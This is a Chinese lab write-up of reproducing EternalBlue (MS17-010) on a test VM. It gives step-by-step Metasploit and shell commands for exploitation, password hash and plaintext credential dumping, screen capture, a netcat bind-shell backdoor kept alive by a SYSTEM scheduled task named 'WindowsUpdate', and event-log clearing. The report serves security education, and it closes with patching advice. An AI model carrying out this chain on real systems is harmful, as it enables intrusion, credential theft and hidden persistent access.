永恒之蓝(MS17-010)漏洞复现报告+简单的后渗透操作(超详细)

0 阅读12分钟

永恒之蓝(MS17-010)漏洞复现报告

1. 漏洞概述

项目内容
漏洞编号MS17-010(微软安全公告),包含 CVE-2017-0143 ~ CVE-2017-0148
漏洞名称EternalBlue(永恒之蓝)
漏洞类型SMBv1 协议远程代码执行(RCE),内核级缓冲区溢出
影响组件Windows SMBv1 服务(内核驱动 srv.sys),端口 445
危害等级高危(CVSS 9.8/10),可获取 SYSTEM 权限
影响系统
-----------------------------------------------------------------------------------------------------------------------------------------------------------
客户端系统Windows NT 4.0、Windows 2000 Professional、Windows XP、Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows RT 8.1、Windows 10(早期版本,如 1507、1511、1607)
服务器系统Windows Server 2000、Windows Server 2003、Windows Server 2008(含 R2)、Windows Server 2012(含 R2)、Windows Server 2016

背景:永恒之蓝是 2017 年 WannaCry 勒索病毒传播所依赖的核心漏洞。攻击者可向目标发送特制的 SMB 请求,触发内核缓冲区溢出,进而执行任意代码,完全控制目标主机。

2. 漏洞原理

2.1 漏洞根源:整数溢出导致长度计算错误

SMBv1 协议在处理文件扩展属性(FEA,File Extended Attributes)时,需要先计算 FEA 列表的总长度,然后分配内核缓冲区。计算长度的函数为 SrvOs2FeaListSizeToNt

缺陷:该函数内部本应用 32 位无符号整数累加,但程序员错误地使用了 16 位无符号整数 作为累加器。16 位变量最大值 65535。

当攻击者构造一个总长度超过 65535 字节的 FEA 列表(例如 66000 字节)时,累加过程会发生整数溢出:实际存储值 = 真实长度 mod 65536。66000 mod 65536 = 465。

函数返回 465,而不是真实的 66000。

2.2 触发缓冲区溢出

SMB 驱动根据返回的错误长度 465,分配了一个 465 字节的内核缓冲区。随后,驱动将攻击者发送的 66000 字节 FEA 列表复制到这个缓冲区中。

复制数据远超缓冲区容量,导致内核缓冲区溢出,覆盖相邻内存区域,包括函数返回地址、异常处理指针等控制流关键数据。

2.3 精确控制与 shellcode 执行

攻击者在超长 FEA 列表中,在特定偏移处预先布置:

  • shellcode(一段恶意机器码,用于反弹 Meterpreter 会话)
  • 覆盖返回地址的新值(指向 shellcode 的内存地址)

当函数返回时,CPU 跳转到 shellcode,执行后反弹一个 Meterpreter 会话,攻击者获得 SYSTEM 权限。

2.4 为什么该漏洞极其危险?

  • 无需认证:直接发送 SMB 包,不需要用户名密码。
  • 内核级利用:直接攻破操作系统内核,获得最高权限。
  • 稳定性高:Metasploit 模块通过辅助漏洞(CVE-2017-0145、0146 等)精确控制内存布局,成功率极高。
  • 可蠕虫化:WannaCry 利用此漏洞实现自我复制,短时间内感染数十万台机器。

3. 实验环境

角色操作系统IP 地址关键配置
攻击机Kali Linux 2025.3192.168.10.224预装 Metasploit、nmap、netcat
靶机Windows Server 2008 R2 SP1192.168.10.142未打 MS17-010 补丁,SMBv1 开启,防火墙关闭(或放行 445 端口)

网络连接:两台虚拟机使用 VMware 仅主机模式或同一 NAT 网络,确保互通。

能够ping通靶机,证明两台主机互通。

image.png

4. 信息收集与漏洞验证

4.1 端口扫描

命令:nmap -T4 -O -v -sV 192.168.10.142

结果:可以看到,端口445是开启的,后面连带着服务:microsoft-ds,还有靶机版本。表明 SMB 服务可访问。

image.png

4.2 漏洞检测

在这个实验中,之前也用greenborn进行过漏洞扫描,扫描出了靶机可能存在的漏洞,可以看到靶机是存在永恒之蓝漏洞的,下面是部分扫描截图。

image.png

虽然已经通过greenborn扫描出了漏洞的存在,但是还是使用使用 Nmap 的脚本再检测一遍检测漏洞吧:

命令:nmap --script vuln 192.168.10.142

从扫描结果中可以看出,靶机存在永恒之蓝的概率非常大,现在已经基本确定永恒之蓝的存在,下一步可以开始漏洞的利用了。

image.png

5. 漏洞利用

启动 Metasploit,使用搜索永恒之蓝(ms17-010)。

命令:msfconsole
search ms17-010

image.png 搜索ms17-010后出现了五个工具,其中0号工具位于渗透攻击模块,这个工具就是进行漏洞利用的工具;3号工具可以看到位于辅助模块,从描述中可以看到是可以用来检测永恒之蓝的存在的。接下来可以尝试使用3号工具再次检测漏洞的存在

image.png

从截图中可以看到永恒之蓝确实是有很大概率存在。到现在为止我已经用了三个方式来检测该漏洞的存在,接下来就是使用0号工具对永恒之蓝进行漏洞的利用。

命令:use 0

set rhosts 192.168.10.142

image.png

从截图中可以看到,选择工具0设置好靶机ip后运行工具,出现了meterpreter会话,到这里我们就成功通过这个工具进入了对方主机,完成了漏洞的复现。

6. 后渗透操作

接下来从这到后面的部分都是我进行的简单的后渗透操作,例如屏幕实时共享、截图、进程迁移、植入后门木马等等。

6.1 查看当前权限与系统信息

命令:getuid
sysinfo

image.png

从这可以看出,我们已经通过永恒之蓝成功打入了靶机并取得了最高权限。

6.2 进程迁移(提高稳定性与隐蔽性)

由于原始漏洞进程(如 lsass.exespoolsv.exe)可能不稳定且容易被发现,且易被 EDR 监控。需迁移到用户级交互进程。

下面是我查到的一些进程选择原则和权限使用策略

  1. 优先选择用户交互进程

    • 若目标主机已有用户登录,首选迁移到 explorer.exe。该进程稳定、与桌面交互,支持键盘记录、屏幕截图等操作,且进程名正常,不易引起怀疑。
  2. 若无人登录(停留在登录界面)

    • 迁移到 winlogon.exe。该进程负责登录认证,同样稳定且可捕获用户输入的密码。
  3. 需要执行高权限操作(如抓取哈希、读取 LSASS 内存)时

    • 临时迁移到 lsass.exeservices.exe 等 SYSTEM 权限进程,操作完成后立即迁回稳定进程。
  4. 避免选择极易崩溃或敏感的系统进程

    • 例如 csrss.exesmss.exe 等,注入不当可能导致系统蓝屏。

权限使用策略:遵循“最小权限原则”与“按需提权”相结合。日常后渗透操作(截图、键盘记录、文件浏览)在 explorer.exe(Administrator 权限)下完成;仅在需要抓取哈希、读取 LSASS 内存等高权限操作时,临时迁移到 lsass.exe(SYSTEM 权限),操作完毕后立即迁回 explorer.exe。这样既保证了会话的稳定性与隐蔽性,又能在必要时获取足够权限,避免因长期驻留 SYSTEM 进程而引发系统崩溃或触发安全告警。

 

进程迁移

命令:ps(可以查到靶机正在运行的进程)
migrate <explorer.exe 的 PID>

image.png

由于ps查看到的进程太多了不方便截图我就没有截图,但是我使用ps -S命令直接搜索到了目标进程explorer.exe可以看到它的PID是2861,接下来使用命令migrate2861就可以成功迁移进程到explorer.exe中

6.3 抓取密码哈希与明文

  • NTLM 哈希(用于哈希传递攻击):

    命令:hashdump

image.png 其中 LM 哈希为固定占位符(表示禁用),NTLM 哈希可离线破解。

  • 明文密码(如果 LSASS 中有明文存储):

    命令:load kiwi
    creds_all

    成功时输出账户名与明文密码。

image.png

      这里出现了错误,是由于我之前迁移进程到了administor权限下没有system权限导致运行失败,这进一步验证了之前说的权限使用策略。接下来把进程迁移到system权限中再次验证就可以了(执行完后要记得迁移回来)。

这可以看到,迁移到了system权限下的进程后能成功查看到明文密码。

image.png 注意kiwi 需要 SYSTEM 权限,且目标操作系统需允许明文密码缓存(默认 Win2008 R2 可能已禁用,但实验环境可调策略)。若失败,不影响整体。

6.4 屏幕截图与实时监控

  • 单次截图

    命令:screenshot

    保存当前桌面截图到攻击机,这里是已经成功截屏了,截屏的图片就保存在图中的路径。

image.png

  • 实时屏幕共享(通过浏览器):

    命令:screenshare

    启动 HTTP 服务,访问提供的 URL 即可实时观看靶机屏幕,这里是正在共享了已经,输入完命令后会自动跳转到浏览器,在浏览器里面可以看到实时内容。这个共享好像有点吃配置,开始我设置的2Gb的内存,做屏幕共享的时候卡死了,调到4Gb就没有这个情况了。 image.png

7. 持久化后门(即使漏洞修复仍可控制)

为了防止靶机安装补丁后失去访问,植入独立后门并设置开机自启。

7.1 上传 nc.exe

bash

命令:upload /usr/share/windows-binaries/nc.exe C:\Windows\System32\

image.png

image.png

执行命令后可以看到nc.exe已经成功上传到了靶机对应的路径。 nc是kali里面自带的一款后门程序,默认路径就是命令中的路径

nc 是经典网络工具,可监听端口并绑定 cmd。

7.2 防火墙放行端口(或临时关闭防火墙)

由于外部想要连接进来要经过防火墙,所以通过命令开启一个防火墙后门端口,让nc.exe监听这个端口,后续就可以通过这个端口访问靶机                                                              也可以直接关闭防火墙,但是这样容易被管理员发现,所以选择开启一个后门端口更加稳妥。

shell                                                                                                                                                                                                                                                                                  chcp 65001 
netsh firewall add portopening tcp 444 backdoor enable all
exit

image.png

image.png

可以看到一个名为backdoor的规则被创建了。

7.3 创建计划任务自启动

为了保证这个后门能够长期使用,可以创建一个计划任务设置为开机自启动

shell
schtasks /create /tn "WindowsUpdate" /ru SYSTEM /tr "C:\Windows\System32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
exit

image.png

image.png

可以看到计划任务中多出了一个我们刚刚创建的nc任务,这个名字可以改成windowsupdate之类的名字,虽然还是容易被发现,但是总好过我这样nc这么明显的名字吧。。

7.4 测试后门连接

在 Kali 端:

命令:nc 192.168.10.142 444

image.png

成功连接后出现 cmd 提示符,可执行任意命令。

8. 痕迹清理

攻击后应清除系统日志,减少被溯源风险。

bash

clearev

该命令会清除应用程序、安全、系统三类事件日志。

注意clearev 本身会在安全日志中留下事件 ID 1102(日志被清空),但实验环境可接受。更高级的清理可使用 wevtutil 选择性删除。

image.png

9. 防御建议

安装补丁程序,这是最彻底的方式

从微软官方下载好补丁程序后运行

image.png

重启后回到kali中使用msf中的检测工具再次检测发现永恒之蓝漏洞不存在了

image.png

重新打开一个终端尝试用我们植入的后门程序尝试连接

image.png

从截图可以看出,漏洞被修复后仍可以使用我们植入的后门木马成功连接进入终端,说明这个简单的持久化后门是成功了的。

10. 总结

本次实验完整复现了永恒之蓝(MS17-010)漏洞从信息收集、漏洞利用、后渗透到持久化控制的全部攻击链。通过实践,我深入理解了以下关键点:

  1. 漏洞原理:SMBv1 协议在处理文件扩展属性(FEA)时,因整数溢出导致内核缓冲区溢出,攻击者可借此远程执行任意代码并获得 SYSTEM 权限。
  2. 攻击流程:使用 Nmap 进行端口扫描与漏洞验证,通过 Metasploit 的 ms17_010_eternalblue 模块成功获取 Meterpreter 会话,随后完成进程迁移、密码抓取、键盘记录、屏幕监控等后渗透操作。
  3. 权限维持:通过上传 nc.exe 并创建计划任务,实现了系统重启后的持久化控制,同时利用 clearev 清理痕迹,模拟真实攻击的收尾工作。
  4. 防御视角:深刻认识到及时安装补丁(MS17-010)、关闭 SMBv1 协议、网络封堵 445 端口以及启用 EDR 等纵深防御措施的重要性。

 

11.参考资料

原理分析奇安信威胁情报中心:永恒之蓝深度分析ti.qianxin.com/blog/articl…
原理分析阿里云开发者社区:永恒之蓝漏洞攻击原理与防护加固developer.aliyun.com/article/149…
复现案例CSDN:永恒之蓝漏洞详细复现blog.csdn.net/mooyuan/art…
复现案例博客园:永恒之蓝漏洞复现www.cnblogs.com/yuyi123/p/1…
复现案例阿里云开发者社区:MS17-010漏洞利用实战developer.aliyun.com/article/149…
复现案例腾讯云开发者社区:永恒之蓝漏洞详解与复现cloud.tencent.cn/developer/a…
补丁下载微软官方补丁 KB4012598www.catalog.update.microsoft.com/Search.aspx…